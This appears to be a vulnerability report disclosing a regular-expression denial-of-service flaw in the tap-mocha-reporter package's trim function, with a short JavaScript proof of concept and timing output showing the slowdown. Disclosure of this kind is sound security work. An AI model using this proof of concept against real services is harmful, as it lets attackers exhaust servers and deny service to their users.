Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in tap-mocha-reporter.

The ReDoS vulnerability is mainly due to the regex /^\s+|\s+$|/g and can be exploited with the following code.

Proof of Concept

// PoC.js
var tapMochaReporter = require("tap-mocha-reporter/lib/utils.js")

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str ='a' +' '.repeat(i*10000)+"a";
    tapMochaReporter.trim(attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The Output

"attack_str.length: 10002: 110 ms"
"attack_str.length: 20002: 408 ms"
"attack_str.length: 30002: 854 ms"
"attack_str.length: 40002: 1521 ms"
"attack_str.length: 50002: 2485 ms"
"attack_str.length: 60002: 3466 ms"